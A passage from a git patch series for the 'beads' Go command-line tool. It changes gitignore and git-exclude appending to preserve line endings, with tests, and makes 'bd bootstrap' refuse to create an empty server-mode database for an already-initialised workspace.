standardIgnorePath - if verbose { - fmt.Printf("Using existing global gitignore file: %s\n", ignorePath) - } - } else { - // No global gitignore file exists, create one in standard location - // No need to set git config - git automatically uses this standard location - ignorePath = standardIgnorePath - - // Ensure config directory exists - if err := os.MkdirAll(configDir, 0755); err != nil { - return fmt.Errorf("failed to create git config directory: %w", err) - } - - if verbose { - fmt.Printf("Creating new global gitignore file: %s\n", ignorePath) - } - } - } - - // Read existing ignore file if it exists - var existingContent string - // #nosec G304 - user config path - if content, err := os.ReadFile(ignorePath); err == nil { - existingContent = string(content) - } - - // Use absolute paths for this specific project (fixes GitHub #538) - // This allows other projects to use beads openly while this one stays stealth - beadsPattern := projectPath + "/.beads/" - claudePattern := projectPath + "/.claude/settings.local.json" - - hasBeads := strings.Contains(existingContent, beadsPattern) - hasClaude := strings.Contains(existingContent, claudePattern) - - if hasBeads && hasClaude { - if verbose { - fmt.Printf("Global gitignore already configured for stealth mode in %s\n", projectPath) - } - return nil - } - - // Append missing patterns - newContent := existingContent - if !strings.HasSuffix(newContent, "\n") && len(newContent) > 0 { - newContent += "\n" - } - - if !hasBeads || !hasClaude { - newContent += fmt.Sprintf("\n# Beads stealth mode: %s (added by bd init --stealth)\n", projectPath) - } - - if !hasBeads { - newContent += beadsPattern + "\n" - } - if !hasClaude { - newContent += claudePattern + "\n" - } - - // Write the updated ignore file - // #nosec G306 - config file needs 0644 - if err := os.WriteFile(ignorePath, []byte(newContent), 0644); err != nil { - fmt.Printf("\nUnable to write to %s (file is read-only)\n\n", ignorePath) - fmt.Printf("To enable stealth mode, add these lines to your global gitignore:\n\n") - if !hasBeads || !hasClaude { - fmt.Printf("# Beads stealth mode: %s\n", projectPath) - } - if !hasBeads { - fmt.Printf("%s\n", beadsPattern) - } - if !hasClaude { - fmt.Printf("%s\n", claudePattern) - } - fmt.Println() - return nil - } - - if verbose { - fmt.Printf("Configured global gitignore for stealth mode in %s\n", projectPath) - } - - return nil -} diff --git a/cmd/bd/init_stealth_test.go b/cmd/bd/init_stealth_test.go index 190e81c1d..f142af362 100644 --- a/cmd/bd/init_stealth_test.go +++ b/cmd/bd/init_stealth_test.go @@ -1,9 +1,11 @@ package main import ( + "errors" "os" "os/exec" "path/filepath" + "runtime" "strings" "testing" @@ -450,3 +452,134 @@ func TestSetupGitExclude_RegularRepo(t *testing.T) { t.Errorf("exclude file missing .claude/settings.local.json pattern: %s", content) } } + +func TestAddExcludePatternsPreservesAppendLineEndings(t *testing.T) { + const lf = "\n# managed\n.beads/\ncache/\n" + const crlf = "\r\n# managed\r\n.beads/\r\ncache/\r\n" + for _, tc := range []struct{ name, existing, want, added string }{ + {"empty", "", "# managed\n.beads/\ncache/\n", ".beads/,cache/"}, + {"whitespace unterminated", " \t", " \t\n" + lf, ".beads/,cache/"}, + {"blank LF", "\n", "\n" + lf, ".beads/,cache/"}, + {"blank CRLF", "\r\n", "\r\n" + crlf, ".beads/,cache/"}, + {"blank pending CR", "\r", "\r\n" + lf, ".beads/,cache/"}, + {"delimiter-free", "local", "local\n" + lf, ".beads/,cache/"}, + {"LF", "local\n", "local\n" + lf, ".beads/,cache/"}, + {"CRLF", "local\r\n", "local\r\n" + crlf, ".beads/,cache/"}, + {"CRLF unterminated", "local\r\nlast", "local\r\nlast\r\n" + crlf, ".beads/,cache/"}, + {"CRLF pending CR", "local\r\nlast\r", "local\r\nlast\r\n" + crlf, ".beads/,cache/"}, + {"LF pending CR", "local\nlast\r", "local\nlast\r\n" + lf, ".beads/,cache/"}, + {"only pending CR", "local\r", "local\r\n" + lf, ".beads/,cache/"}, + {"mixed", "a\r\nb\r\nc\n", "a\r\nb\r\nc\n" + lf, ".beads/,cache/"}, + {"partial", ".beads/\r\n", ".beads/\r\n\r\n# managed\r\ncache/\r\n", "cache/"}, + {"complete", ".beads/\r\ncache/", ".beads/\r\ncache/", ""}, + } { + t.Run(tc.name, func(t *testing.T) { + dir := newGitRepo(t) + gitignorePath := filepath.Join(dir, ".gitignore") + const tracked = "user-rule\r\n" + if err := os.WriteFile(gitignorePath, []byte(tracked), 0600); err != nil { + t.Fatal(err) + } + if out, err := exec.Command("git", "-C", dir, "add", "--", ".gitignore").CombinedOutput(); err != nil { + t.Fatalf("track .gitignore: %v: %s", err, out) + } + path, err := resolveGitExcludePath(dir) + if err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(tc.existing), 0600); err != nil { + t.Fatal(err) + } + for pass := 0; pass < 2; pass++ { + added, gotPath, err := addExcludePatterns(dir, "# managed", []string{".beads/", "cache/"}) + if err != nil || gotPath != path { + t.Fatalf("addExcludePatterns: path=%q, err=%v", gotPath, err) + } + wantAdded := tc.added + if pass == 1 { + wantAdded = "" + } + if strings.Join(added, ",") != wantAdded { + t.Errorf("pass %d added=%q, want %q", pass, added, wantAdded) + } + got, err := os.ReadFile(path) + if err != nil || string(got) != tc.want { + t.Fatalf("pass %d exclude=%q, want %q: %v", pass, got, tc.want, err) + } + got, err = os.ReadFile(gitignorePath) + if err != nil || string(got) != tracked { + t.Fatalf("tracked .gitignore changed: %q: %v", got, err) + } + } + }) + } +} + +func TestAddExcludePatternsRefusesReadErrors(t *testing.T) { + if runtime.GOOS == "windows" || os.Geteuid() == 0 { + if os.Getenv("BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION") == "1" { + t.Fatal("exclude read-error coverage requires an unprivileged POSIX permission boundary") + } + t.Skip("write-only permission coverage requires an unprivileged POSIX host") + } + dir := newGitRepo(t) + path, err := resolveGitExcludePath(dir) + if err != nil { + t.Fatal(err) + } + const before = "user-rule\r\n" + if err := os.WriteFile(path, []byte(before), 0600); err != nil { + t.Fatal(err) + } + t.Cleanup(func() { + if err := os.Chmod(path, 0600); err != nil { + t.Errorf("restore exclude mode: %v", err) + } + }) + if err := os.Chmod(path, 0200); err != nil { + t.Fatal(err) + } + if _, err := os.ReadFile(path); !errors.Is(err, os.ErrPermission) { + t.Fatalf("read-denied precondition: %v", err) + } + // Prove a write would succeed without truncating the bytes being protected. + writable, err := os.OpenFile(path, os.O_WRONLY, 0) + if err != nil { + t.Fatalf("write-allowed precondition: %v", err) + } + if err := writable.Close(); err != nil { + t.Fatal(err) + } + added, gotPath, err := addExcludePatterns(dir, "# managed", []string{".beads/"}) + if restoreErr := os.Chmod(path, 0600); restoreErr != nil { + t.Fatal(restoreErr) + } + if err == nil || !errors.Is(err, os.ErrPermission) || !strings.Contains(err.Error(), "failed to read git exclude file") { + t.Errorf("expected contextual wrapped permission error, got %v", err) + } + if added != nil || gotPath != path { + t.Errorf("read failure returned added=%v path=%q, want nil and %q", added, gotPath, path) + } + if got, err := os.ReadFile(path); err != nil || string(got) != before { + t.Errorf("exclude bytes after read failure = %q, want %q: %v", got, before, err) + } +} + +func TestAddExcludePatternsCreatesMissingFile(t *testing.T) { + dir := newGitRepo(t) + path, err := resolveGitExcludePath(dir) + if err != nil { + t.Fatal(err) + } + if err := os.Remove(path); err != nil && !os.IsNotExist(err) { + t.Fatal(err) + } + added, gotPath, err := addExcludePatterns(dir, "# managed", []string{".beads/"}) + if err != nil || gotPath != path || len(added) != 1 || added[0] != ".beads/" { + t.Fatalf("create missing exclude: added=%v path=%q err=%v", added, gotPath, err) + } + const want = "# managed\n.beads/\n" + if got, err := os.ReadFile(path); err != nil || string(got) != want { + t.Errorf("created exclude = %q, want %q: %v", got, want, err) + } +} diff --git a/cmd/bd/init_test.go b/cmd/bd/init_test.go index 7128b1f1b..2286ca90b 100644 --- a/cmd/bd/init_test.go +++ b/cmd/bd/init_test.go @@ -787,96 +787,6 @@ func TestSetupClaudeSettings_NoExistingFile(t *testing.T) { } } -// setupIsolatedGitConfig creates an empty git config in tmpDir and sets GIT_CONFIG_GLOBAL -// to prevent tests from using the real user's global git config. -func setupIsolatedGitConfig(t *testing.T, tmpDir string) { - t.Helper() - gitConfigPath := filepath.Join(tmpDir, ".gitconfig") - if err := os.WriteFile(gitConfigPath, []byte(""), 0644); err != nil { - t.Fatal(err) - } - t.Setenv("GIT_CONFIG_GLOBAL", gitConfigPath) -} - -// TestSetupGlobalGitIgnore_ReadOnly verifies graceful handling when the -// gitignore file cannot be written (prints manual instructions instead of failing). -func TestSetupGlobalGitIgnore_ReadOnly(t *testing.T) { - t.Run("read-only file", func(t *testing.T) { - if runtime.GOOS == "darwin" { - t.Skip("macOS allows file owner to write to read-only (0444) files") - } - tmpDir := t.TempDir() - setupIsolatedGitConfig(t, tmpDir) - - configDir := filepath.Join(tmpDir, ".config", "git") - if err := os.MkdirAll(configDir, 0755); err != nil { - t.Fatal(err) - } - - ignorePath := filepath.Join(configDir, "ignore") - if err := os.WriteFile(ignorePath, []byte("# existing\n"), 0644); err != nil { - t.Fatal(err) - } - if err := os.Chmod(ignorePath, 0444); err != nil { - t.Fatal(err) - } - defer os.Chmod(ignorePath, 0644) - - output := captureStdout(t, func() error { - return setupGlobalGitIgnore(tmpDir, "/test/project", false) - }) - - if !strings.Contains(output, "Unable to write") { - t.Error("expected instructions for manual addition") - } - if !strings.Contains(output, "/test/project/.beads/") { - t.Error("expected .beads pattern in output") - } - }) - - t.Run("symlink to read-only file", func(t *testing.T) { - if runtime.GOOS == "darwin" { - t.Skip("macOS allows file owner to write to read-only (0444) files") - } - tmpDir := t.TempDir() - setupIsolatedGitConfig(t, tmpDir) - - // Target file in a separate location - targetDir := filepath.Join(tmpDir, "target") - if err := os.MkdirAll(targetDir, 0755); err != nil { - t.Fatal(err) - } - targetFile := filepath.Join(targetDir, "ignore") - if err := os.WriteFile(targetFile, []byte("# existing\n"), 0644); err != nil { - t.Fatal(err) - } - if err := os.Chmod(targetFile, 0444); err != nil { - t.Fatal(err) - } - defer os.Chmod(targetFile, 0644) - - // Symlink from expected location - configDir := filepath.Join(tmpDir, ".config", "git") - if err := os.MkdirAll(configDir, 0755); err != nil { - t.Fatal(err) - } - if err := os.Symlink(targetFile, filepath.Join(configDir, "ignore")); err != nil { - t.Fatal(err) - } - - output := captureStdout(t, func() error { - return setupGlobalGitIgnore(tmpDir, "/test/project", false) - }) - - if !strings.Contains(output, "Unable to write") { - t.Error("expected instructions for manual addition") - } - if !strings.Contains(output, "/test/project/.beads/") { - t.Error("expected .beads pattern in output") - } - }) -} - // TestInitPromptRoleConfig tests the beads.role git config read/write functions func TestInitPromptRoleConfig(t *testing.T) { t.Run("getBeadsRole returns empty when not configured", func(t *testing.T) { diff --git a/internal/gitignore/append.go b/internal/gitignore/append.go new file mode 100644 index 000000000..104566722 --- /dev/null +++ b/internal/gitignore/append.go @@ -0,0 +1,41 @@ +// Package gitignore provides formatting helpers for user-owned gitignore files. +package gitignore + +import "bytes" + +// AppendLineEnding preserves an unambiguous CRLF convention, following the +// append policy in #6343. Empty, delimiter-free, LF and mixed files +// default to LF; callers must leave existing bytes unchanged. +func AppendLineEnding(content []byte) string { + lineFeeds := bytes.Count(content, []byte{'\n'}) + if lineFeeds > 0 && lineFeeds == bytes.Count(content, []byte("\r\n")) { + return "\r\n" + } + return "\n" +} + +// AppendLines appends logical lines using the existing file's line ending, +// preserving existing bytes and completing any unterminated final line. +// A trailing CR is completed with a bare LF. +// Callers choose their own blank lines, headers and patterns. +// With no lines, the returned slice aliases content without copying. +func AppendLines(content []byte, lines []string) []byte { + if len(lines) == 0 { + return content + } + lineEnding := AppendLineEnding(content) + var buf bytes.Buffer + buf.Write(content) + if len(content) > 0 && content[len(content)-1] != '\n' { + if content[len(content)-1] == '\r' { + buf.WriteByte('\n') // Complete the existing CR without doubling it. + } else { + buf.WriteString(lineEnding) + } + } + for _, line := range lines { + buf.WriteString(line) + buf.WriteString(lineEnding) + } + return buf.Bytes() +} diff --git a/internal/gitignore/append_test.go b/internal/gitignore/append_test.go new file mode 100644 index 000000000..5c51fc85b --- /dev/null +++ b/internal/gitignore/append_test.go @@ -0,0 +1,55 @@ +package gitignore + +import "testing" + +func TestAppendLineEnding(t *testing.T) { + for _, tc := range []struct{ name, content, want string }{ + {"empty", "", "\n"}, + {"delimiter-free", "local", "\n"}, + {"LF", "a\n", "\n"}, + {"CRLF", "a\r\n", "\r\n"}, + {"mixed", "a\r\nb\r\nc\n", "\n"}, + {"BOM LF", "\xef\xbb\xbfa\n", "\n"}, + {"BOM CRLF", "\xef\xbb\xbfa\r\n", "\r\n"}, + {"lone CR", "\r", "\n"}, + {"CR-only", "a\rb\rc\r", "\n"}, + {"interior CR", "a\rb\r\n", "\r\n"}, + {"CRCRLF", "a\r\r\n", "\r\n"}, + {"UTF16-like", "a\x00\r\x00\n\x00", "\n"}, + } { + t.Run(tc.name, func(t *testing.T) { + if got := AppendLineEnding([]byte(tc.content)); got != tc.want { + t.Errorf("AppendLineEnding(%q) = %q, want %q", tc.content, got, tc.want) + } + }) + } +} + +func TestAppendLines(t *testing.T) { + for _, tc := range []struct { + name, content string + lines []string + want string + }{ + {"no lines", "last\r", nil, "last\r"}, + {"empty", "", []string{"rule/"}, "rule/\n"}, + {"blank header", "", []string{"", "# managed", "rule/"}, "\n# managed\nrule/\n"}, + {"LF unterminated", "local", []string{"rule/"}, "local\nrule/\n"}, + {"LF", "local\n", []string{"rule/"}, "local\nrule/\n"}, + {"CRLF", "local\r\n", []string{"", "# managed", "rule/"}, "local\r\n\r\n# managed\r\nrule/\r\n"}, + {"CRLF unterminated", "local\r\nlast", []string{"rule/"}, "local\r\nlast\r\nrule/\r\n"}, + {"CRLF pending CR", "local\r\nlast\r", []string{"rule/"}, "local\r\nlast\r\nrule/\r\n"}, + {"only pending CR", "last\r", []string{"rule/"}, "last\r\nrule/\n"}, + {"mixed", "a\r\nb\n", []string{"rule/"}, "a\r\nb\nrule/\n"}, + } { + t.Run(tc.name, func(t *testing.T) { + content := []byte(tc.content) + if got := AppendLines(content, tc.lines); string(got) != tc.want { + t.Errorf("AppendLines() = %q, want %q", got, tc.want) + } + if string(content) != tc.content { + t.Errorf("input changed to %q", content) + } + }) + } +} diff --git a/internal/storage/domain/fs/beads.go b/internal/storage/domain/fs/beads.go index 042b3cbd6..fce623d87 100644 --- a/internal/storage/domain/fs/beads.go +++ b/internal/storage/domain/fs/beads.go @@ -13,6 +13,7 @@ import ( "github.com/steveyegge/beads/internal/beads" "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/gitignore" "github.com/steveyegge/beads/internal/storage/domain" "github.com/steveyegge/beads/internal/utils" ) @@ -164,23 +165,18 @@ func (r *beadsDirFSRepositoryImpl) WriteProjectGitignore(ctx context.Context) er return nil } - var buf bytes.Buffer - buf.Write(existing) - if len(existing) > 0 && !bytes.HasSuffix(existing, []byte("\n")) { - buf.WriteByte('\n') - } + var lines []string if header := r.templates.ProjectGitignoreHeader; header != "" && !containsLine(existing, header) { if len(existing) > 0 { - buf.WriteByte('\n') + lines = append(lines, "") } - buf.WriteString(header + "\n") - } - for _, pattern := range toAdd { - buf.WriteString(pattern + "\n") + lines = append(lines, header) } + lines = append(lines, toAdd...) + content := gitignore.AppendLines(existing, lines) // #nosec G306 -- .gitignore must be world-readable so users can read/edit it - if err := os.WriteFile(path, buf.Bytes(), 0644); err != nil { + if err := os.WriteFile(path, content, 0644); err != nil { return fmt.Errorf("fs: WriteProjectGitignore: write: %w", err) } return nil diff --git a/internal/storage/domain/fs/beads_test.go b/internal/storage/domain/fs/beads_test.go index 9ca59b055..bd1996b4f 100644 --- a/internal/storage/domain/fs/beads_test.go +++ b/internal/storage/domain/fs/beads_test.go @@ -38,6 +38,7 @@ func (s *testSuite) TestBeadsDirFSRepository() { s.Run("SkipsAlreadyPresentPatterns", s.writeProjectGitignoreNoDuplicates) s.Run("NoChangeWhenAllPresent", s.writeProjectGitignoreNoOpWhenComplete) s.Run("AddsLeadingNewlineWhenMissing", s.writeProjectGitignoreFixesTrailingNewline) + s.Run("PreservesAppendLineEndings", s.writeProjectGitignorePreservesAppendLineEndings) }) s.Run("ProjectGitignoreExists", func() { s.Run("MissingReturnsFalse", s.projectGitignoreExistsMissing) @@ -278,6 +279,50 @@ func (s *testSuite) writeProjectGitignoreFixesTrailingNewline() { s.Contains(body, testTemplates().ProjectGitignoreHeader) } +func (s *testSuite) writeProjectGitignorePreservesAppendLineEndings() { + tpl := testTemplates() + lfSection := tpl.ProjectGitignoreHeader + "\n" + strings.Join(tpl.ProjectGitignorePatterns, "\n") + "\n" + crlfSection := tpl.ProjectGitignoreHeader + "\r\n" + strings.Join(tpl.ProjectGitignorePatterns, "\r\n") + "\r\n" + partial := tpl.ProjectGitignoreHeader + "\r\n.dolt/\r\n" + complete := strings.TrimSuffix(crlfSection, "\r\n") + for _, tc := range []struct { + name, existing, want string + omitHeader bool + }{ + {"empty", "", lfSection, false}, + {"delimiter-free", "local", "local\n\n" + lfSection, false}, + {"LF", "local\n", "local\n\n" + lfSection, false}, + {"CRLF", "local\r\n", "local\r\n\r\n" + crlfSection, false}, + {"CRLF unterminated", "local\r\nlast", "local\r\nlast\r\n\r\n" + crlfSection, false}, + {"CRLF trailing CR", "local\r\nlast\r", "local\r\nlast\r\n\r\n" + crlfSection, false}, + {"LF trailing CR", "local\nlast\r", "local\nlast\r\n\n" + lfSection, false}, + {"only trailing CR", "local\r", "local\r\n\n" + lfSection, false}, + {"mixed majority CRLF", "a\r\nb\r\nc\n", "a\r\nb\r\nc\n\n" + lfSection, false}, + {"partial with header", partial, partial + "*.db\r\n", false}, + {"complete unterminated", complete, complete, false}, + {"complete CRLF", crlfSection, crlfSection, false}, + {"no header", "local\r\n", "local\r\n.dolt/\r\n*.db\r\n", true}, + } { + s.Run(tc.name, func() { + s.T().Setenv("BEADS_DIR", "") + dir := s.T().TempDir() + templates := testTemplates() + if tc.omitHeader { + templates.ProjectGitignoreHeader = "" + } + repo := NewBeadsDirFSRepository(dir, templates) + path := filepath.Join(dir, ".gitignore") + s.Require().NoError(os.WriteFile(path, []byte(tc.existing), 0600)) + for call := 1; call <= 2; call++ { + s.Require().NoError(repo.WriteProjectGitignore(s.Ctx()), "call %d", call) + got, err := os.ReadFile(path) + s.Require().NoError(err) + s.Equal(tc.want, string(got), "call %d: exact file bytes", call) + } + }) + } +} + func (s *testSuite) projectGitignoreExistsMissing() { _, _, repo := s.newRepo() exists, err := repo.ProjectGitignoreExists(s.Ctx()) diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 4f3009c5c..61450e3e3 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -61,6 +61,29 @@ func TestPRCIGateRequiresPolicyAndLintWrappers(t *testing.T) { } } +func TestPRCoreRequiresExcludeReadPermissionCoverage(t *testing.T) { + workflow := readCIWorkflow(t, "pr.yml") + job := workflow.job(t, "pr-core-wrapper") + if job.RunsOn != "ubuntu-latest" || job.If != "" || job.ContinueOnError { + t.Error("exclude permission coverage must remain in the required Linux PR Core job") + } + step := job.Steps[job.stepIndex(t, "Run PR core wrapper")] + if step.If != "" || (step.ContinueOnError != nil && step.ContinueOnError != false) || strings.TrimSpace(step.Run) != "make ci-pr-core" { + t.Error("exclude permission coverage must run through the nonoptional PR Core wrapper") + } + if step.Env["BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION"] != "1" { + t.Error("PR Core must require actual exclude read-permission coverage") + } + gate := workflow.job(t, "ci-gate") + evaluate := gate.step(t, "Evaluate CI gate") + if gate.If != "${{ always() }}" || gate.ContinueOnError || evaluate.If != "" || (evaluate.ContinueOnError != nil && evaluate.ContinueOnError != false) { + t.Error("CI gate must propagate required PR Core failures") + } + if !contains(gate.Needs, "pr-core-wrapper") || evaluate.Env["PR_CORE_WRAPPER"] != "${{ needs.pr-core-wrapper.result }}" || !contains(strings.Fields(evaluate.Env["CI_GATE_REQUIRED"]), "PR_CORE_WRAPPER") { + t.Error("CI gate must require the PR Core result") + } +} + func TestPRComplexityReportIsAdvisoryAndBestEffort(t *testing.T) { workflow := readCIWorkflow(t, "pr.yml") job := workflow.job(t, "complexity-report") From 1336d163541806a7548cd2ac80d10e5a6363ccdb Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Sun, 27 Sep 2026 01:42:24 -0700 Subject: [PATCH 141/624] Fix: bd bootstrap can also silently create an empty server-mode database (#6503) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * test(feat): red — Fix: bd bootstrap can also silently create an empty server-mode database (same root cause as be-5up5) (refs be-cy41) * feat: green — Fix: bd bootstrap can also silently create an empty server-mode database (same root cause as be-5up5) (refs be-cy41) * chore: release gate PASS for be-44rad-bootstrap-missing-server-db * fix(bootstrap): unverifiable server probe is unknown, not existing (review of #6503) Addresses the three MAJOR points from bee-ghosttrack's review at 49fc8fb5. MAJOR 1 — a fresh clone whose server is unreachable no longer ends in "nothing to do". The Err arm in existingBootstrapDBPlan now requires hasLocalShadowDir: a populated shadow directory is local evidence the database really does live here, so a down server means "live DB we cannot see". Without that evidence the identical error describes a fresh clone ahead of its first sync, which must stay eligible for sync.remote, refs/dolt/data, .beads/backup/ and issues.jsonl. An unverifiable probe is UNKNOWN, never "exists". MAJOR 2 — probeBootstrapServerDB takes retryTransient, passed as hasLocalShadowDir. The 10/20/40s transient-restart budget was written for a database known to exist locally that vanishes across a managed restart; a fresh clone is not watching a database disappear, so it pays one round-trip instead of 70s. MAJOR 3 — the refusal moves to plan time. refuseServerModeInitPlan runs in detectBootstrapAction, so Action="refuse" reaches --dry-run and --json, printBootstrapPlan never advertises "will create fresh database" for a plan that cannot run, and executeBootstrapPlan returns the refusal before confirmPrompt. The plan-time probe result is threaded through the new serverDBProbe rather than re-dialed. The executeInitAction guard stays as belt-and-braces for callers that bypass detectBootstrapAction, but probes once with retryTransient=false. Landed as one commit rather than three: MAJOR 1 without MAJOR 3 is exactly the hole the review names — with the Err arm falling through and no plan-time refusal, an unreachable server reaches CreateIfMissing: true. Splitting them would publish that state as an intermediate commit. MINOR 4 — citations now point at PR #5791 as open and unmerged instead of presenting be-5up5 / initGuardMissingServerDBMessage as landed on main. Tests (all new, cmd/bd/bootstrap_test.go): TestDetectBootstrapAction_FreshCloneUnreachableServerStillSyncs TestDetectBootstrapAction_FreshCloneReachableAbsentSkipsTransientBackoff TestDetectBootstrapAction_ShadowDirUnreachableServerStillReportsNone TestDetectBootstrapAction_ExistingProjectMissingServerDBRefusesAtPlanTime TestExecuteBootstrapPlan_RefuseErrsWithoutPrompting The first two are the review's two probes, adjusted to the fix and renamed into the file's existing convention; the third pins the shadow-dir case the review flagged as main's correct behavior. refs be-ms3ev, be-cy41 * chore: remove leaked internal release-gate doc from PR branch release-gates/be-44rad-bootstrap-missing-server-db-gate.md Tracked our internal gc-management/beads-rig release-gate checklist and should never have been committed to this upstream branch -- it's process residue from our deploy tooling, not part of the change itself. Per maintainer bee-ghosttrack's request during review of PR #6571. The root cause (our deploy tooling auto-committing this file) is already fixed as of gm-qatxl1; this branch predates that fix, so this commit is cleanup only -- no other content on this branch is touched. Ref: be-lk7o3 * fix(bootstrap): don't let a server-side name match mask sync.remote recovery Maintainer review fixes for #6503. The PR unlocked the server-mode existence probe for workspaces carrying a ProjectID, which fixed the negative arm (a fresh clone behind a dead server stays eligible for recovery) but also widened the POSITIVE arm, which no test covered. MAJOR — widened Exists arm masks recovery. A shadow-dir-less workspace now reaches the probe, and a reachable server merely holding a database of the configured NAME settled the plan as Action="none"/HasExisting=true, so a configured sync.remote was never consulted. Nothing checks that the server's database is this project's, and at the base commit such a workspace never probed at all and always fell through to sync.remote. The pre-existing guard against exactly this masking defers only when .beads/ is absent — but .beads/metadata.json is committed and is the very file supplying the ProjectID that unlocks the probe, so it is true for the common clone shape. A stale same-named database, including one left by the bug this PR fixes, therefore suppressed the recovery clone. Fix: thread the local-evidence signal out of the probe (serverDBProbe. LocalEvidence) and defer an Exists verdict reached on the name alone through the existing deferredExistingPlan path. sync.remote / refs/dolt/data / local files get their turn and the name match survives as the fallback verdict, so the PR's own "no local shadow dir still live-checks existing" behavior is preserved where nothing else matches. Also, non-gating: - Set Blocked for Action=="refuse". The Blocked field documents the file's compatibility rule ("blocked" is what scripts switch on), and a refusal was the one no-database outcome reporting "blocked" absent. No exit code changes: a real run reaches executeBootstrapPlan and errors, and --dry-run is contractually exit 0 either way. Clearing SyncRemote on Blocked plans keeps that field's own "empty on a Blocked plan" contract true, since a refusal can be reached with a forge remote already recorded. - Rewrite the Blocked rationale comment and the long-help bullet, which still promised unconditional creation. Only cmd/bd/bootstrap.go changes: docs/CLI_REFERENCE.md and docs/cli-reference/ are generated from the release tag pinned in docs/cli-docs.pin, so hand-mirroring the bullet there is permanent drift against its own regeneration (and forfeits check-cli-docs-drift.sh's inherited-drift pass, which requires the PR to leave those files untouched). The published text lands at the next pin bump. - Scope the "local evidence" claim to locally-managed server mode: in shared server mode the shadow dir is ~/.beads/shared-server/dolt/, one directory for every database on the machine. The behavior is pre-existing on main; only the PR's new prose overstated it, so the comment is corrected rather than the check narrowed. - Reword the refusal's recovery block so every route is followable from the refused state: bd backup restore is Dolt-native and needs an initialized database, so it silently routed the operator back through bd init — the unguarded door this refusal exists to keep shut. - Cover the refuse plan's machine-readable surface (Blocked, marshalled JSON, no ANSI, no sync_remote) and printBootstrapPlan's refuse arm, which no test reached. Each new assertion was mutation-proved against the code it pins. - Pin the other half of the new settle gate: an Exists verdict backed by a populated local shadow directory must still settle immediately, because deferring it re-clones over a database that already exists (GH#5037's Error 1007). Only the Err arm of that gate was covered, so a regression narrowed to Exists verdicts stayed green suite-wide; it now fails while the three incumbent shadow-dir tests still pass. - Document why printBootstrapPlan's refuse arm prints to stdout while the "none"+Blocked arm prints to stderr. Both review lanes read the asymmetry as a possible oversight, and it is now test-pinned via captureStdout. Comment only: moving the arm to stderr would carry the one-line Reason off stdout, where that pin deliberately guarantees it, and a real refuse run already exits non-zero through executeBootstrapPlan, so this is not the #5743 false-success class the stderr sibling guards against. --------- Co-authored-by: Julian Knutsen --- cmd/bd/bootstrap.go | 391 +++++++++++++++++++++++----- cmd/bd/bootstrap_test.go | 545 +++++++++++++++++++++++++++++++++++++++ 2 files changed, 873 insertions(+), 63 deletions(-) diff --git a/cmd/bd/bootstrap.go b/cmd/bd/bootstrap.go index 772e2f446..0c9f4e05f 100644 --- a/cmd/bd/bootstrap.go +++ b/cmd/bd/bootstrap.go @@ -29,6 +29,7 @@ import ( "github.com/steveyegge/beads/internal/storage/embeddeddolt" "github.com/steveyegge/beads/internal/storage/schema" "github.com/steveyegge/beads/internal/storage/versioncontrolops" + "github.com/steveyegge/beads/internal/ui" "github.com/steveyegge/beads/internal/utils" "golang.org/x/term" ) @@ -119,7 +120,9 @@ Bootstrap auto-detects the right action: • If git origin has Dolt data (refs/dolt/data): clones from git and wires origin for future push/pull • If .beads/backup/*.jsonl exists: restores from backup • If .beads/issues.jsonl exists: imports from git-tracked JSONL - • If no database exists: creates a fresh one + • If no database exists: creates a fresh one — unless the workspace was already + initialized (metadata.json has a project_id) and its server-mode database is + missing, in which case bootstrap refuses rather than strand the existing data • If database already exists: validates and reports status If sync.remote points at a git repository, bootstrap verifies refs/dolt/data @@ -294,7 +297,7 @@ func applyBootstrapMetadataRepair(beadsDir string, cfg *configfile.Config, apply // BootstrapPlan describes what bootstrap will do. type BootstrapPlan struct { - Action string `json:"action"` // "sync", "restore", "jsonl-import", "init", "none" + Action string `json:"action"` // "sync", "restore", "jsonl-import", "init", "none", "refuse" Reason string `json:"reason"` // Human-readable explanation BeadsDir string `json:"beads_dir"` Database string `json:"database"` @@ -315,14 +318,28 @@ type BootstrapPlan struct { // Blocked marks a plan that took no action and found no database. It is // derived in detectBootstrapAction from Action+HasExisting, never set by a // detection branch, and it is the single discriminator the exit code and - // the printed output both switch on. Additive on purpose: JSON consumers - // switch on "action", so a new action value would break them, while - // "none" + "blocked" + a non-zero exit code is backwards compatible. + // the printed output both switch on. + // + // "blocked" is the stable, script-facing signal and must be set for EVERY + // no-database outcome, so a consumer that only understands "none" is never + // told a run succeeded when it did not. A new "action" value is acceptable + // only for a state that must not be conflated with an existing one — the + // refusal is one, because "none" also covers the benign "a database + // already exists, nothing to do" — and only when it is accompanied by + // "blocked" and, outside --dry-run, a non-zero exit code. That is the + // contract to preserve when extending this enum: not "never add an action", + // but "never add an action that is the only signal of what happened". Blocked bool `json:"blocked,omitempty"` // BlockedRemote is the credential-free remote URL a Blocked plan could not // verify, carried only so the diagnostic can name it. BlockedRemote string `json:"blocked_remote,omitempty"` HasExisting bool `json:"has_existing"` + + // refusalDetail is the full operator-facing explanation for + // Action=="refuse". It is unexported so the ANSI styling it carries never + // leaks into --json output; JSON consumers read the plain-text one-liner + // in Reason instead. + refusalDetail string } // MarshalJSON renders the plan for `bd bootstrap --json` (and `--dry-run --json`) @@ -394,8 +411,24 @@ func requireBootstrapDoltBackend(cfg *configfile.Config, beadsDir string) error // branch can leave a stale flag behind for a later branch to inherit. func detectBootstrapAction(beadsDir string, cfg *configfile.Config) BootstrapPlan { plan := detectBootstrapPlan(beadsDir, cfg) - plan.Blocked = plan.Action == "none" && !plan.HasExisting - if !plan.Blocked { + // "refuse" is a no-database outcome too, so it carries the same flag as + // "none": the action string says WHY bootstrap stopped, Blocked says THAT + // it stopped, and only the latter is the contract scripts switch on. This + // changes no exit code — RunE routes Action=="refuse" through + // executeBootstrapPlan, which errors, and --dry-run is contractually + // exit 0 either way (see bootstrapPlanOutcome) — it only stops a refusal + // from being the one bootstrap outcome that produced nothing yet reported + // "blocked" absent. + plan.Blocked = (plan.Action == "none" || plan.Action == "refuse") && !plan.HasExisting + if plan.Blocked { + // Keep SyncRemote's documented "empty on a Blocked plan" invariant + // true now that refusals are Blocked: a refusal can be reached with a + // 